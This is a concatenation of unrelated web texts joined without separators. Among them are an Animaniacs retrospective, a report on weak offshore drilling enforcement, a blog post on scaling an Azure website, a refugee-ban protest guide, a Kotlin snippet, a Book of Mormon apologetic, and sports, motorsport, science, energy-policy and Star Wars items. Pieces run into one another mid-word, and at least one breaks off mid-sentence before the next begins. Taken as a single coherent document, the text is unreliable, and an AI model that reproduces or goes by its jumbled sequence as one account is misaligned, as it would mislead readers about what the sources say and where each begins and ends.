same product every year and raking in tremendous profits. As much as I hate to utter the phrase, “tell it like it is”, because that’s the easiest way to sound like an a-----e… Animaniacs had no compunctions about telling it like it is. While it was easy for shows like Ren & Stimpy and Rocko to get away with murder because they ran on more easy-going (and less accessible) cable networks, Animaniacs aired on primary stations such as Fox, and later, WB (now the CW). Local stations were notoriously skittish about the content of children’s programming, making the kinds of off-color gags the Animaniacs made all the more surprising because they “got away with it”. You had word play about “fingering Prince” or giving someone “the bird”, not to mention that time the writers decided to parody WWII propaganda cartoons by having the Warners pay Saddam Hussein (thinly disguised as ‘So-Damn Insane,’ I kid you not) a visit in the episode “Baghdad Cafe”. It was startling then and startling now; no kid’s cartoon today would ever do something like that. Then there’s just the innovative idea of historical revisionism, and I don’t mean stuff like visiting Michaelangelo or Beethoven. Because the Warners were conceived as “1930s cartoon characters hidden away in shame”, they had an elaborate faux history and backlog of “vintage” cartoons the writers could utilize. Beyond that, the writers would occasionally dredge up forgotten Warner Bros cartoon characters of the Merrie Melodies period, such as Buddy, whom they cast in a psychotic, villainous role (in probably his first appearance in 60 years). Animaniacs wasn’t all good, though. Beside the Warners, there were over a dozen other rotating cast members who got their own segments to fill out each episode. Pinky & the Brain were great and I really liked the whole idea behind Slappy Squirrel (the “forgotten Looney Tune”), but holy s--t were most of them awful. The Hip Hippos were never funny, Katie Kaboom was annoying, Buttons and Mindy were the same gag ad nauseum, Rita and Runt were the “prestige” segment that was usually boring, and for the love of god, do you remember that one about Thomas Jefferson’s candle? Eighteen years isn’t long enough for me to forgive anybody for that. But chances are you forgot about all that s--t, because the strong segments of Animaniacs were so good you’ve likely still got the oneliners committed to memory. And unlike Tiny Toons, there was usually at least one genuinely superb segment per episode. Animaniacs was innovative, honest, rebellious and intelligent. Its one of those cartoons you can go back and watch as an adult and never have to wonder “why did I like this crap?” or say “well, you have to be nostalgic for it to enjoy it”; its a strong cartoon that transcends generations. Couldn’t have said it better myself. (Which is literally why I had him whip that part up for me). Though I’d like to take this time to mention some other enjoyable characters from the show, including the Goodfeathers, a trio of pigeons who parodied various gangster movies and roosted on a statue of Martin Scorcese; Minerva Mink, a large breasted, lascivious mammalian character and fantasy focal point of furries the world over (whose mere description will shamelessly garner this article myriad hits through the outlandish Google searches alone); and Hello Nurse, the aptly named blonde bombshell nurse whose mere presence would cause the Warners to regress into slavering buffoons and the basis for one of the show’s most memorable, Vaudevillian-inspired catch phrases. Russ is working on instituting a catch phrase into the everyday lexicon of readers around the world. He’ll let you know when he thinks of one. Or is that the catch phrase in itself? #mindblownWASHINGTON – Nearly three years after the Deepwater Horizon disaster, the government agency that oversees offshore energy development still uses an opaque and unwieldy enforcement process that appears to give companies more leverage than the regulators policing them. The system is drawing fresh criticism in the wake of last month’s fatal fire at a Gulf of Mexico production platform that killed three workers and injured others. Government watchdogs, environmentalists and worker advocates say the Bureau of Safety and Environmental Enforcement isn’t doing enough to advance new safety rules or enforce the ones already on the books. Visible and aggressive enforcement is necessary to deter unsafe operators, said Bob Deans, an associate director at the Natural Resources Defense Council. “Unless and until the authorities demonstrate that they’re willing to take decisive action, there are unfortunately companies that are going to cut corners, that are going to skirt the rules, that are going to put their workers and our resources at needless risk,” Deans said. “We can’t take the risk out of this; it’s an inherently dangerous activity. But we have to do it in the safest possible way.” Despite broad changes designed to boost safety since the 2010 Gulf oil spill, the offshore enforcement process hasn’t gotten a major rewrite. It’s happening much the same way it did before the Deepwater Horizon disaster, with inspectors conducting mostly scheduled reviews of offshore platforms and drilling rigs and issuing “incidents of non-compliance” for violations they document while at the sites. Those citations begin a long process that can lead to civil penalties. But it rarely goes that far. ‘Rule-breaking pays’ Under the regulatory agency’s long-standing approach, companies have at least four chances to appeal the citations and any proposed penalties. And while many notices involve relatively minor, low-risk violations and aren’t referred for civil penalties, a company that takes every chance it has to challenge the agency can evade a fine for at least 270 days. A bureau spokesman said it usually takes four to 11 months for a civil penalty to be paid and a case closed. Few violations actually result in civil penalties. For instance, while bureau inspectors cited 2,745 violations by offshore operators during fiscal 2012, companies were forced to pay $1.8 million in civil penalties in 28 cases during that same time frame. Matt Dundas, acting campaign director with the conservation group Oceana, noted that in 2009, just 87 of the 2,298 citations were referred to the civil penalty process. The end result was “$2.6 million in fines, or less than it cost to operate the Deepwater Horizon rig for three days,” Dundas said. “It is easy to see why violations are so frequent. As long as rule-breaking pays, new safety regulations cannot protect us from a spill.” The bureau had cited Houston-based Black Elk Energy, which owned the platform where the fatal fire erupted Nov. 16, for 315 violations in the past two years. Regulators ordered the company to pay a $307,000 fine in connection with one of those violations – failure to test a safety valve every six months as mandated. When it finally was tested, the valve was found to be leaking excessively, and the company took another 117 days to fix the problem. Civil penalties are capped at $40,000 per incident per day, which critics consider a slap on the wrist for companies that spend up to $1 million daily just to rent a drilling rig. The safety bureau can raise the cap to keep up with inflation every three years, but bigger increases would require congressional action. Like previous regulators, safety bureau Director James Watson said he wants the cap raised so civil penalties carry more weight. “We continue to call on Congress to raise the cap on civil penalties so that the fines are a more effective tool,” he said. ‘Curtain of secrecy’ Only one company has ever been kicked out of the Gulf of Mexico. Houston-based BT Operating Co. was barred for 10 years beginning in June 2008, after it racked up violations, failed to submit a requested “performance improvement plan” to regulators and didn’t have enough money to decommission its old facilities. The agency last month warned Black Elk that if it doesn’t improve the safety of its operations and come up with a comprehensive improvement plan by Dec. 15, it could be kicked out of the Gulf, too. Watson emphasized that the current enforcement process doesn’t let companies stall on fixing problems. Once a citation has been issued, companies generally have 14 days to certify that they have corrected the problem even if they appeal. That’s tougher than at the Occupational Safety and Health Administration, where years can pass while a matter is pending and companies aren’t obligated to fix the underlying hazard. “The (citation) process … requires companies to take immediate action to correct the violation, or in cases where there are systematic problems, requires companies to develop a comprehensive correction plan,” Watson said. The safety bureau is evaluating whether it should change its enforcement system. Lawmakers also are looking into the issue. Rep. Ed Markey, D-Mass., the ranking member on the House Natural Resources Committee, said he has directed his staff to “look into the offshore drilling violations and enforcement structure and process.” Most offshore enforcement happens out of the limelight. Incidents of non-compliance aren’t routinely made public and generally aren’t accessible at the safety bureau’s website. While a broad list of citations by category is available quarterly, the information doesn’t name individual companies. The most recent listing online now is from March. “The public is entitled to understand when a company is violating the law and what action is being taken to correct that,” Deans said. “We can’t have an effective enforcement process behind a curtain of secrecy.” Publicize violations Rena Steinzor, a University of Maryland law professor with expertise in public health and environmental regulation, said public enforcement records would encourage good behavior. “The whole system is based on deterrent,” Steinzor said. “If you don’t publicize (enforcement), if you don’t make it systematic, they think they’re never going to hear from you.” Some other federal agencies do a better job. The Mine Safety and Health Administration – working to clear a backlog of 17,000 enforcement appeals – makes its records available online. Visitors to the agency’s website can search by mine operator or name and view inspections, accidents and penalties. The Environmental Protection Agency enforces pollution mandates vigorously and makes them public, said former administrator William Reilly. “I see no reason not to publicize these violations,” said Reilly, who led a presidential commission that investigated the Deepwater Horizon disaster. ‘Out of public view’ Plenty of agencies, though, keep enforcement information out of view, said Scott Amey, general counsel with the Project on Government Oversight. “Government agencies don’t readily make them available,” Amey said. “I’m not so sure the government sees the benefit in releasing such information, and the corporations... are extremely happy to keep them out of public view.” Safety Bureau spokesman David Smith said it’s working to make compliance information more accessible. Watson said some technical barriers impede conversion of paper citations into an electronic public database, but also suggested evaluation of companies’ safety records should be more holistic than drawing conclusions from citations alone. “I’m a little concerned that someone would measure risk or performance or draw conclusions if all they have” is the citations, Watson said. “To me, that’s just a (single) piece of information.”How much capacity will you need for your app? Or asked another way if wearing the vendor hat, how much money ya got? We’re generally lousy at estimating infrastructure capacity requirements and even when a more scientific approach is taken (and it’s frequently not), we’re still lousy at estimating user behaviour in real world circumstances and the impact it will have on system performance. Now, put that situation in a cloud environment and it has the potential to go a couple of ways. One is that you have underestimated and by courtesy of the glorious ability to increase resource very quickly, your bill goes nuts. Another is that you’ve overestimated and you end up paying for resources you really don’t need. I’ve recently gone through scaling challenges with both the website and the Azure SQL database on Have I been pwned? (HIBP). For me, it’s never about having access to enough scale (that’s pretty much limited by your wallet), rather it’s about trying to both keep the cost down and the perf up and frankly, I don’t really want to compromise on either! Here’s what I’ve done with the website and I’ll write more about the database another time. The website I’ve been running on a single small instance of an Azure website since day one. 95% of the time, that’s fine and the other 5% of the time it either scales out automatically or… breaks. Let me explain: Recently I wrote about Understanding Azure website auto-scale magic and I showed how I was supporting about 4k requests per minute whilst someone was hammering the API: This was with two small web server instances: I tried scaling it out to three small instances and… the throughput stuck at 4k per min. Ok, so the consumer of the service is maxing out their ability to send and process requests, right? I mean adding more capacity on my end won’t improve things so it must be their fault. Sound thinking, or so I thought… On a whim, I scaled up to a medium server size and then in so that there was only one of them and not two. This is exactly the same cost – two smalls equals one medium – and in prior load testing (you know, the kind where all the conditions are just perfect…) this resulted in exactly the same throughput. But this time, it doubled – I went to 8k requests per minute. The processing time for each transaction also went way down from about 60ms to around 30ms. Clearly, this was a significant improvement. Also clear was that getting scale right was hard: 3 small Azure website VMs serving 4k RPM at 60ms each. 1 medium and it's 8k and only 30ms at 2/3 the cost. Getting scale right is hard. — Troy Hunt (@troyhunt) February 1, 2015 So why is this? Rob Moore made a good point that the small instance is only 1 core and that.NET garbage collection likes having a second one (or more) but on that basis, if your bottleneck is a single machine then two machines should double the throughput (although it could explain the 60ms to 30ms drop). Someone else suggested that it was related to the performance targets of the small machine instance but again, there’s nothing to suggest that two small instances can’t double the throughput of one, that’s the whole point of scaling out! But regardless of total throughput, the premise that a medium sized machine can process each request significantly faster than a small machine remains and that 60ms down to 30ms is certainly a very positive gain. But here’s what really got me in terms of perf: my solution presently has these in it: That’s three separate WebJobs that run as background processes. On every release, they need to be compiled and deployed as well as the website deployed – then they all need to be fired up too. I deploy from GitHub on checkin so Kudu comes into play which also runs on the same machine. The bottom line is that when I want to deploy while I’m using a small instance, this happens: Whoa! That means my Apdex suffers and remember, this is what’s being observed in the browser: The throughput also goes to zip for a while: And the CPU, well, some data was lost altogether but clearly it’s approaching 40% utilisation: This is during a period of light load too (only about a request for second), so imagine what it does once the load piles on. I lose traffic. I could change my workflow to deploy only to the staging environment and then use staged deployment slots to switch the traffic (and I do that at times), but I like to keep the app in a perpetual state of ready deployment and push lots of changes frequently. Using Kudu in this way and with the number of projects increasing and the codebase getting larger, I was causing outage. Now let’s try that again with a medium instance of a website: That 2.5 second spike is now 1 second. You’re still going to get a spike on deployment, but clearly it’s nowhere near as significant. The Apdex stays much happier too – I’ve briefly dipped into “tolerating” (yellow) and not “frustrating” (red): And the throughput never zeros out, in fact it doesn’t miss a beat: And the CPU utilisation stays way lower: These results are all clearly just from one sample test, but what I can emphatically say is that time and again, I’d see high latency on response times, connections dropped and even total outage – sometimes for more than a minute – when deploying on a small instance. I’ve never seen loss of service or anything more than a slight and momentary service degradation on a medium instance. Not once. Let me add something insightful for others interested in refining their scale: Don’t treat your servers like pets, treat them like cattle This is courtesy of Richard Campbell on RunAs Radio and what he’s saying is that sometimes you may need to just knock one off for the betterment of the heard. You can do that with Azure – flick a server out with another one and see how it goes. Don’t get an attachment to it like you would a dog, it’s a disposable service there to serve you and when you start viewing it as a highly transient resource, you can do a lot of awesome stuff such as figuring out what’s the best scale for you based on trial and error. For me, it was chalk and cheese and the path forward was clear – I had to go from small to medium: Yes, it’s an extra $74.40 per month – literally double – but it’s kinda not and there are other financial upsides too. Firstly, processing those requests at twice the speed (that’s never going to be a constant, but it’s a fair assumption to work with based on experience) has enormous upsides for volume consumers of the service. In this particular case, the consumer was checking about 10 million identities (something I’ll write about another time) and the medium instance reduces the duration of that by many, many hours. The medium instance also means less notifications going to me when CPU load ramps up as it does so at half the speed for the same traffic volumes. Frankly, the peace and quiet is pretty valuable! But it also means that it scales later – I may be permanently running a medium instance, but there are heaps of times where I was running two smalls and paying the same amount so those periods cancel each other out. But by far the biggest gain is that it means I can work in a more frictionless way. I don’t have to hack around the ways I release the software and I don’t have to spend time trying to keep things stable during the process. I push to GitHub, magic happens, then the production site is running the new version and everyone is happy. That’s worth a couple of bucks a day!Young Offenders back on the streets of Cork THE six part television adaptation of hit comedy 'The Young Offenders' began filming in Cork yesterday. Commissioned by BBC Comedy for BBC Three in association with RTÉ, the production comes from award-winning filmmaker Peter Foott, who was behind the big screen hit in 2016. It will film in a number of locations through Cork city and county over the next eight weeks, with filmmakers on the lookout for filming locations presently. The Young Offenders proved a massive hit nationally and internationally when it was released in 2016. The film took €1.3 million at the box office and notched up a host of award nominations and wins. It was broadcast at film festivals all over the world and has since been released on Netflix, ensuring that its appeal continues to grow. Acclaimed producer Martina Niland (Once, Sing Street) is producing the small screen adaptation, which will see six thirty minute episodes broadcast in early 2018. The Young Offenders will be hoping to follow in the footsteps of a number of big BBC Three comedy hits, including Little Britain, the Mighty Boosh and Gavin & Stacey, all of which got their start on the channel before going on to bigger things. The Cork-set show will follow the coming of age adventures of its teenage stars with all of the big screen favourites set to return in the small screen remake. Alex Murphy and Chris Walley will reprise their IFTA-nominated awards as Conor and Jock, as will Hilary Rose, who played Conor's long-suffering mother Mairéad. Dominic MacHale, who played Garda Sergeant Healy, and Shane Casey, last seen as local thug Billy Murphy, will both return, while PJ Gallagher is also set to feature in a new role, Principal Walsh. Foott has also continued his tradition of bringing new talent to the fore by casting Cork newcomers Jennifer Barry and Demi Issac Oviawe in new roles. Writer director Foott said the team has secured a number of 'fantastic locations' in Cork. "After spending many months writing the scripts and getting the whole team together to rehearse over the last few weeks, it's a real thrill to start filming with these fantastic actors and crew. "We'll be bringing new adventures and stories for the well-known characters, and some new ones, to life in the TV show. "The reaction to the scripts has been really positive, and we want to live up to the original spirit of the film. "I think we have all the right elements, so we're all excited to get out there and start filming today on this new phase of The Young Offenders journey."President Donald Trump's decision to sign an executive order Friday to immediately suspend all refugee admissions into the United States and ban citizens of seven countries from entering the country has left many outraged and eager to take action. While feeling powerless seems to have, unfortunately, become a new daily experience for far too many people since our new president was sworn into office, there are more than a few ways to protest Trump's refugee ban. The executive order Trump signed at the Pentagon on Friday immediately suspended all refugee admissions into the United States for 120 days while also indefinitely closing the country to Syrian refugees and blocking citizens of Iran, Iraq, Libya, Somalia, Sudan, Syria, and Yemen from entering the country for 90 days even if they hold a valid green card or are a dual citizen. As a result newly arriving refugees, U.S. visa and green-card holders were detained at airports across the country and blocked from entering or re-entering the United States. Unsurprisingly, the order has proved significantly controversial. In New York, protesters have already gathered in front of Terminal 4's international arrivals area at John F. Kennedy Airport. In Boston, the Massachusetts chapter of the Council on American Islamic Relations (CAIR) has organized a protest rally at Copley Square on Sunday. Across the country, protests have been planned for Saturday afternoon at the Los Angeles federal immigration office in Los Angeles and the San Francisco International Airport in San Francisco. A quick Google or Facebook search can help you discover if, when, and where there might be a protest near you. If you're unable to find a protest against Trump's executive order happening in your area, take the initiative and organize one yourself. Reach out to local organization that might be interested in partnering with you. Choose a location of some significance and select a date and time. Use social media to get the word out and then gather your similarly-concerned friends. While peaceful demonstrations are great ways to raise awareness and speak out, they're not the only method of protest you can use to express your rejection of Trump's executive order. Begin by reaching out to your government representatives about how you feel, including President Trump. Tweet Trump via his @POTUS and @realDonaldTrump Twitter accounts. Tell him (respectfully) that you feel refugee resettlement represents a longstanding American value or that you're opposed to policies which require religious discrimination of any kind. Send the White House a message through their official website or via their official Facebook page. Stephanie Keith/Getty Images News/Getty Images Next, pick up the phone and call your congressional representatives. Lean on them to stand in opposition to Trump's executive order and use their power to urge the president to rethink his action. You can find the contact information for your senators here while the information for your representative in the House can be easily obtained here. Finally, consider adding your signature to this petition urging Trump not to halt the refugee resettlement program or use religion or country of origin to discriminate. You might also consider signing this petition urging House Speaker Paul Ryan to urge Trump to revoke the executive order. If the executive order on immigration Trump signed Friday doesn't sit well with you, remember that politicians work for us and there are multiple ways to take action and make your voice heard.WASHINGTON — The Senate Intelligence Committee has asked the C.I.A. for an internal study done by the agency that lawmakers believe is broadly critical of the C.I.A.’s detention and interrogation program but was withheld from congressional oversight committees. The committee’s request comes in the midst of a yearlong battle with the C.I.A. over the release of the panel’s own exhaustive report about the program, one of the most controversial policies of the post-Sept. 11 era. The Senate report, totaling more than 6,000 pages, was completed last December but has yet to be declassified. According to people who have read the study, it is unsparing in its criticism of the now-defunct interrogation program and presents a chronicle of C.I.A. officials’ repeatedly misleading the White House, Congress and the public about the value of brutal methods that, in the end, produced little valuable intelligence. Senator Mark Udall, Democrat of Colorado, disclosed the existence of the internal C.I.A. report during an Intelligence Committee hearing on Tuesday. He said he believed it was begun several years ago and “is consistent with the Intelligence’s Committee’s report” although it “conflicts with the official C.I.A. response to the committee’s report.”In a previous post, we’ve seen how to compose Future and Option in Scala. Let’s try to do the same with Kotlin using nullables types and Java 8 completable futures. This is how you can compose nullable functions : fun giveInt ( x : Int ) : Int? = x + 1 fun giveInt2 ( x : Int ) : Int? = x + 2 fun combine ( x : Int ) : Int? = giveInt ( x )?. let (:: giveInt2 ) combine ( 1 ) //4 The result of giveInt is passed to giveInt2. But let only applies if the first part is not null. Either a nullable is returned. This is how you can compose futures (using Java 8 CompletableFuture API): fun giveInt ( x : Int ) : CompletableFuture<Int> = CompletableFuture. supplyAsync ({ x + 1 }) fun giveInt2 ( x : Int ) : CompletableFuture<Int> = CompletableFuture. supplyAsync ({ x + 2 }) fun combine ( x : Int ) : CompletableFuture<Int> = giveInt ( x ). thenCompose (:: giveInt2 ) combine ( 1 ). get () //4 This is how you can compose futures of nullable types : fun giveInt ( x : Int ) : CompletableFuture<Int?> = CompletableFuture. supplyAsync ({ x + 1 }) fun giveInt2 ( x : Int ) : CompletableFuture<Int?> = CompletableFuture. supplyAsync ({ x + 2 }) fun combine ( x : Int ) : CompletableFuture<Int?> = giveInt ( x ). thenCompose ({ it?. let (:: giveInt2 ) }) combine ( 1 ). get () //4 And this how we would have done it with Scala and with the Ham
And upon all the ships of the sea.” This non-King James addition agrees with the Greek (Septuagint) version of the Bible, which had not been translated into English in Joseph Smith’s day. All this information about the Book of Mormon is readily available, but has been ignored. One fact remains—the Book of Mormon itself. It has to be explained in some way. At first, hearing about gold plates, angels, the voice of God, all sounds unbelievable. But on careful, thoughtful, sincere reflection and prayerful study of the Book of Mormon, any explanation different than the one Joseph Smith gave is beyond believability. #11: Feelings only for Testimony? Page 115, lines 7-9 “[The counsel to pray for the Spirit’s confirmation of the truth of the Book of Mormon] sidesteps facts and substitutes feelings.” How can the book say this when the Book of Mormon’s very existence is an indisputable fact? Missionaries teach that if one will read, ponder and pray about the Book of Mormon, one will be entitled to a confirmation from God. This is combining fact with feeling, not sidetracking “facts and substituting feeling” as The God Makers says. Isn’t the authors’ belief that one has achieved a guarantee of eternal life merely a strong feeling? Although its origin may be disputed, the Book of Mormon is a fact. I’ll stop there. I’ve only shared a fraction of the claims and responses. But you get the idea. I’ll repeat, those that familiarized themselves with the claims of The God Makers saw little new from the CES Letter. Indeed, all of Decker’s material was in the ex-Mormon subreddit. That is where Jeremy found all this information. It wasn’t new at all. Jeremy (and members since) simply didn’t know about it.Walt “Clyde” Frazier was at a book signing about 10 years ago when a fan introduced himself with a most unusual greeting. “Thirty-six points, 19 assists, seven rebounds,’’ said the fan. Frazier was stunned. “You remember that?’’ said one of the greatest Knicks of all-time. That’s one of the beauties of sports – they create memories for a lifetime. [Hahn: Remembering Clyde’s Incredible Game 7 Performance] The Knicks’ 1970 NBA title was known for Willis Reed limping on to The Garden court and sparking a 113-99 Game 7 win over the L.A. Lakers. But it was Frazier who put the team on his back that night. Frazier turned in arguably the greatest Game 7 performance in any sport – 36 points, 19, assists and seven rebounds. The NBA didn’t count steals as a stat or Frazier’s line would have been even more preposterous. Saturday marked the 50-year anniversary of Frazier’s debut with the Knicks. And one day earlier marked the debut of maybe the next great Knicks point guard. It's been 50 years since a fresh-faced Walt "Clyde" Frazier made his NBA debut with the Knicks. The living legend talks about his memories of playing in his first game with Al Trautwig. Rookie Frank Ntilikina scored nine points on 4-of-11 shooting with five assists, two rebounds and a steal in the Knicks’ 107-86 win over the Brooklyn Nets at The Garden. “I didn’t expect things,’’ Ntilikina told reporters after the game. “I was just trying to bring what I can bring to my team. That’s what I did. Now I’m just focusing on working more.” After playing just eight minutes in the season opener, Ntilikina missed two games after rolling his left ankle in practice. Frazier’s debut also was delayed. He missed the first five games of the 1967 season after getting injured in the preseason. “I would tell him to stay confident,’’ Frazier told MSG Networks. “I had mentors. I had Freddie Crawford, Emmette Bryant, Dick Barnett. All of these guys were right there that night telling me what to do, just be relaxed, play my game. “They had confidence in me. And just by those guys telling me that, it gave me so much confidence once I got on to the court.’’ The Knicks have surrounded Ntilikina with mentors in veteran point guards Ramon Sessions and Jarrett Jack. The education of Ntilikina continues Sunday night (6:30 p.m.; MSG Network & MSG GO) when he’ll take the court for the first time against the greatest player in the world. The Knicks play at LeBron James and the Cleveland Cavaliers. The Knicks (1-3) are looking for their first road win.Video screenshot by Amanda Kooser/CNET The "Star Trek Capital of Canada" is a town of fewer than 2,000 residents located in the Badlands in Alberta. Vulcan has embraced its name by hosting an annual celebration called Spock Days, which has attracted "Star Trek" actors ranging from Leonard Nimoy himself to Walter Koenig and Robert Picardo. Just hosting a big "Trek" party isn't enough. Now Vulcan wants to build a working version of the USS Enterprise. Vulcan launched its effort on Indiegogo with a modest goal of just $2 billion. The pledge levels escalate rapidly from $10 to have your name included on a monument, to $10,000 for an invitation to the debut of warp drive, to $500 million to have the Vulcan Super-Luminal Research Centre named in your honor. Chip in $1 billion and you'll get your name on the Vulcan Spaceport. The project's first-stage goal is to develop warp-drive technology. The campaign estimates the total cost of building a fully functional USS Enterprise to be $1.132 trillion and that it will take 40 years to get it done. With 39 days left to go, the Enterprise project has attracted 48 funders with just over $2,000 in pledges. It's a fixed-funding project, so, barring a miracle such as Warren Buffett and Bill Gates jumping in to pledge, those backers will never pay out a penny to the campaign. Nonetheless, it's a noble effort that should remind sci-fi fans of previous attempts to crowdfund famous spacecraft like the Death Star and an X-wing. If you would like to believe the town of Vulcan is sincerely trying to build a working starship, then stop reading right now. A message posted on the town's tourism website reads "The Indiegogo campaign currently running to help Vulcan build the U.S.S Enterprise is a marketing campaign to advertise the Canadian Badlands region of Alberta and feature Vulcan." It asks people to not send money, and it notes that all Indiegogo donations will be returned to the funders. Oh well. We can all still dream, right?A total of 31 cars have been announced as full-season entries for the Asian Le Mans Series, marking a 50 percent growth for the championship as it kicks off its 2016/2017 season next month. The entry list for the fourth season was released on Sunday, featuring four LMP2 cars, ten LMP3 entries and a record 16-car field in the GT class. ENTRY LIST: Full-Season Defending LMP2 champions Race Performance return with its Oreca 03R Judd, featuring a new lineup of Giorgio Maggi and Struan Moore. Algarve Pro Racing expands into a two-car Ligier JS P2 Nissan operation, with Mark Patterson and Tacksung Kim in the No. 24 car and team owner Michael Munemann in the No. 25 car, alongside a to-be-determined co-driver. As previously revealed by Sportscar365, DC Racing will step up to the LMP2 class with an Oreca 03R Nissan for Ho-Pin Tung and Thomas Laurent, while running under the Jackie Chan DC Racing banner. The Chinese team will also defend its LMP3 title, with David Cheng in the No. 1 Ligier JS P3, one of five Onroak Automotive-built cars in the class. SPV Racing, Wineurasia, FRD Racing Team and G-Print by Triple 1 Racing will also field Ligiers, while ARC Bratislava and PRT Racing will enter Ginettas, with a single ADESS 03 coming from Finnish squad PS Racing. PS will also be on the grid with Ligier JS 53 in the CN class. The 16-car GT field, meanwhile, features seven different manufacturers (Bentley, Audi, Ferrari, BMW, McLaren, Mercedes-AMG, Lamborghini), and nearly all with new-generation GT3 machinery. Clearwater Racing will defend its title with a brand-new Ferrari 488 GT3, while Absolute Racing will enter both a Bentley Continental GT3 and Audi R8 LMS. Team AAI is set for a four-car effort, with the BMW M6 GT3, Mercedes-AMG GT3 and to McLaren 650S GT3s, while both FFF Racing by ACM and VS Racing will be on the grid with Lamborghini Huracan GT3s. A single Porsche 997 Cup car has also been entered, for the GT Cup class, for Team NZ. “I am very happy that we have such an impressive full season entry list for what will only be the second season of the Asian Le Mans Series since the ACO took over 18 months ago,” said series managing director Cyrille Taesch Wahlen. “The work that has been done with the teams and the relationship we are building with them is paying off. The development of our activities in Asia clearly makes sense and meets a demand. “Furthermore, having such a balance between prototypes and GT cars is perfect because this is exactly what Le Mans is about.” The four-round championship kicks off at Zhuhai on Oct. 28-30 and will feature four-hour races for the first time.Honey soothes a sore throat. Now research suggests that it could also help fight serious skin infections. People have used honey's antibacterial properties for centuries. Now, scientists are discovering just how it works—and that it might be even better than antibiotics. After surgery or a skin injury, many otherwise harmless bacteria that live on the skin can infect the wound site. One type of strep is particularly common and can lead to stubborn wounds that refuse to heal. But researchers found that honey—in particular that made from bees foraging on manuka flowers—stopped this strep in its tracks. The study is in the journal Microbiology. [Sarah Maddocks et al., "Manuka Honey Inhibits the Development of Streptococcus pyogenes Biofilms and Causes Reduced Expression of Two Fibronectin Binding Proteins"] In lab tests, just a bit of the honey killed off the majority of bacterial cells—and cut down dramatically on the stubborn biofilms they formed. It could also be used to prevent wounds from becoming infected in the first place. Hospital-borne infections are all too common, with more and more strains developing resistance to standard antibiotic treatments. So if the honey works in clinical trials, too, this sweet news will be all the buzz. —Katherine Harmon [The above text is a transcript of this podcast.]Something extraordinary happened in Iowa earlier this month. Almost nobody noticed. On March 7, the Iowa Senate Agriculture Committee passed a bill that would encourage ownership of small-scale wind power by the state’s farmers. What’s extraordinary is that the bill passed unanimously, supported by the committee’s eight Democrats and five Republicans, backed by both the Iowa Farmers Union and the Iowa Environmental Council. In other words, what we’ve got here is a bona fide example of bipartisan clean-energy policy. And you thought there was no such thing! As far as I can tell, the only stories that have been written on this are one by wind analyst Paul Gipe and another by the (low-key but consistently excellent) Midwest Energy News. But … it’s Democrats and Republicans working together to support distributed clean energy! That is a milestone and, I hope, a sign of things to come. Let’s take a moment to celebrate. OK, enough of that. Now I’ll explain all the caveats and qualifications and reasons not to get too excited yet. The bill is quite specific: It is a feed-in tariff for wind power installations of 20 megawatts or less on agricultural land. “Feed-in tariff” (FIT) means that utilities are required to contract with those who install wind turbines on their land to pay a fair price for the power they produce, as determined by the Iowa Utility Board, for 10 years. (There are all kinds of technical legal questions here about who has the authority to set rates, but I’ll do you a favor and skip over them.) Feed-in tariffs are popular in other countries, most notably Germany, and they’re responsible for most large-scale adoption of distributed energy. But only a handful of U.S. states and cities have passed them, and those FITs have been fairly modest. For now, the Iowa bill only applies to agricultural land, and only to wind (which is unusual for feed-in tariffs, which tend to be solar-focused). And it caps the growth of distributed wind at half the utility’s sales growth the previous year. As it stands, that would mean about 60 MW of distributed wind power capacity a year — not a huge deal in the grand scheme of things (Iowa already has 5,137 MW of wind capacity installed), but pretty beefy relative to other U.S. FITs. Why is this so cool, other than the bipartisan aspect? It would start to shift some of the benefits of Iowa’s wind boom into the hands of the state’s citizens. Iowa’s wind industry is growing quickly. The state is third in the nation in wind capacity, behind Texas and California. In 2012, it produced more wind power than California — almost 25 percent of its total electricity use. But right now virtually all of that wind power comes from big farms owned by multinationals. Contrast that to Germany, where over half the country’s renewable energy is locally owned. With local ownership, more of the economic benefits of wind stay within Iowa. Just as importantly, with local ownership, more Iowans have direct experience with, and a stake in, clean energy. As I’ve said before, encouraging distributed energy creates political constituencies. And in Iowa that constituency now crosses party lines. Or at least it kinda does. The bill still faces an extremely steep path to becoming law. First it must go before the full Senate, which is controlled by Democrats. (There, the bill’s backers say they may add solar and biomass to the qualifying technologies.) Assuming it passes, it must also pass through the House, which is controlled by Republicans, and be signed by the governor, who is a Republican. Most dauntingly, the bill has yet to face the full brunt of opposition. It kind of snuck through the committee at the last minute and took the industry by surprise. But have no doubt: Fossil fuel companies and big utilities will throw a ton of money and lobbying at this thing, trying to kill it. And they have a ton of money to throw. The bill’s backers, bless their hearts, seem well-meaning but not particularly media savvy and in no way prepared to cope with the onslaught. The bill could very well be strangled by industry money before it gets any farther. (Hey, national green groups and climate campaigners — maybe you should get involved!) Nonetheless, I think this is an early glimpse of things to come. Cynics and libertarians will say, “Yeah, of course it’s bipartisan, it’s farmers angling for a subsidy. What could be more bipartisan in the Midwest?” And, well, yeah. That’s kind of the point. In the real world, legislation is rarely passed on the basis of the public good alone. Bills pass when they are backed by powerful constituencies. Now, in Iowa, a state smack in the middle of the American Heartland, wind energy has powerful constituencies backing it! That’s a big deal. Other constituencies will see farmers reaping the benefits of local energy and they’ll want a piece of the action. Soon local ownership of clean energy will come to seem the right and privilege of everyone living in the state. Iowan voters will have a personal stake in seeing clean-energy industries continue to grow. Hallelujah! As I’ve said for years, bipartisan, pragmatic action on clean energy will emerge first in states where clean industries become large and politically powerful. That’s finally beginning to happen, though it’s still early in the game. And it’s happening in purple and red states, pushing a wedge between state and federal Republicans. A savvy movement would exploit that wedge. Here’s hoping this is only the first of many similar stories.Dave Filoni just opened up a gift for his birthday… Surprisingly for us, not himself! He’s offered a little bit of clarification about Ahsoka’s fate going forward. Ever since Star Wars Celebration Orlando, there’s been a bit of speculation with regard to what the Loth-Wolf might be, with some fans thinking that it could be Ahsoka “reincarnated” or Ahsoka possessing the animal in some way in order to rescue Ezra and his friends from afar. While Filoni doesn’t give us a straight answer ahead of the show’s return, he does let us know that Ahsoka and the Loth-Wolf are not one and the same: It might be my Birthday, but here is a gift, and perhaps a clarification, for you. May the Force be with you! – Dave pic.twitter.com/a8Nfh3XjaM — Dave Filoni (@dave_filoni) June 8, 2017 So from here, it’s safe to say that the Loth-Wolf’s appearance will most likely have to do with Ezra’s Force empathy skills that allow him to interact with various animals – an aspect of his character that was surprisingly neglected in Season 3 – since Ahsoka turning into a “Force Wolf” is off the table now. As for the Convor (which can also be seen in the image and was present in a few episodes of the show), it’s presumed by many that it’s not Ahsoka, but some kind of incarnation of the Daughter of Mortis from Season 3 of The Clone Wars (who, as many have forgotten, resurrected Ahsoka from a temporary death). Season 4 is still a ways off, and 